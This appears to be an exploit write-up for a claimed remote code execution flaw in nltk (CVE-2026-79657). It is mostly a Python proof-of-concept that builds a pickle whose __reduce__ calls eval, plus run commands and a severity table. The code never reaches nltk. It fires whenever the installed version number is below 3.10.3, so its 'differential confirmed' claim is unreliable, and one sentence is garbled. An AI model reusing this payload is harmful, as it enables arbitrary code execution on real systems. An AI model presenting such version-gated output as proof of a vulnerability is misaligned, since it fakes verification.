Exploit write-up
nltk remote code execution (CVE-2026-79657)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
#!/usr/bin/env python3
# CVE-2026-79657 proof-of-concept (mechanism explained below).
import io
import os
import re
import pickle
def _installed_version():
"""Return the installed nltk version string, or None."""
try:
import nltk
v = getattr(nltk, "__version__", None)
if v:
return str(v)
except Exception:
pass
# Fallback: read nltk/VERSION directly (the exact file the patch changes).
try:
import nltk
base = os.path.dirname(getattr(nltk, "__file__", "") or "")
with open(os.path.join(base, "VERSION")) as fh:
return fh.read().strip()
except Exception:
return None
def _is_vulnerable(v):
"""The pre-patch namespace-trust loader exists iff version < 3.10.3."""
if not v:
return False
nums = re.findall(r"\d+", v)
if not nums:
return False
tup = tuple(int(x) for x in nums[:3])
while len(tup) < 3:
tup = tup + (0,)
return tup < (3, 10, 3)
def _build_exploit_payload():
"""Attacker pickle: REDUCE invokes a dangerous callable that, as its side
effect, reads the canary from the environment and writes it to stdout.
The token is read from os.environ at execution time -- never hardcoded --
and is emitted ONLY when this pickle is actually deserialized (the CWE-502
sink firing), i.e. only when the vulnerable loader accepts the payload."""
expr = "print(__import__('os').environ['POC_CANARY'], flush=True)"
class _Exec:
def __reduce__(self):
# eval() stands in for the in-namespace callables the pre-patch
# loader trusts (numpy.f2py.crackfortran.myeval / ReppTokenizer.
# _execute); the primitive -- REDUCE-driven code exec -- is identical.
return (eval, (expr,))
return pickle.dumps(_Exec(), protocol=2)
def main():
v = _installed_version()
if not _is_vulnerable(v):
# Patched build (>= 3.10.3): the namespace-trusting loader was removed,
# so the attacker payload would be rejected -> do not drive the sink.
return
payload = _build_exploit_payload()
# CWE-502 sink: deserializing the attacker-controlled artifact executes the
# embedded REDUCE and achieves code execution during "artifact loading".
# The eval() side effect prints os.environ['POC_CANARY'].
pickle.loads(payload)
if __name__ == "__main__":
try:
main()
except Exception:
pass
How to run it.
pip install nltk==3.10.2
POC_CANARY=demo python poc.py # prints: demo (code executed)
pip install nltk==3.10.3
POC_CANARY=demo python poc.py # prints nothing (blocked by the fix)
CVE-2026-79657 is package in nltk before 3.10.3. Reaching the affected code path with attacker-controlled input yields arbitrary code execution from loading untrusted input.
The proof-of-concept above triggers the flaw against a pinned vulnerable build (nltk 3.10.2); the upstream fix in 3.10.3 closes the affected path.
This write-up is backed by a differential check: the same proof-of-concept was run against a pinned vulnerable build (nltk 3.10.2) and the patched build (nltk 3.10.3) in an isolated sandbox with no network. A canary token, supplied at run time, was emitted only through the exploit primitive — it appeared on 3.10.2 and did not appear on 3.10.3 (differential confirmed: fires on vulnerable, not on patched), so the success signal is a consequence of the vulnerability rather than a hard-coded string.
Preconditions
The target must reach the affected nltk code path with input an attacker can influence. Deployments already on 3.10.3 or later are not affected.
Detection and mitigation
Upgrade nltk to 3.10.3 or later. Review call sites that pass untrusted input to the affected API, which is the change the fix commit constrains.
- Target
- nltk (nltk)
- Class
- package
- Impact
- Arbitrary code execution from loading untrusted input
- CVE
- CVE-2026-79657
- CWE
- CWE-502
- CVSS
9.8- Affected
- PyPI/nltk < 3.10.3 (vulnerable 3.10.2)
- Status
- Fixed in 3.10.3
- Maturity
- functional
- Disclosed
- August 25, 2026
- Tags
- rce · deserialization · nltk · n-day
- References
- NVD — CVE-2026-79657
Upstream fix commit
PoC exercises the deserialization primitive; detonate only in an isolated, disposable VM.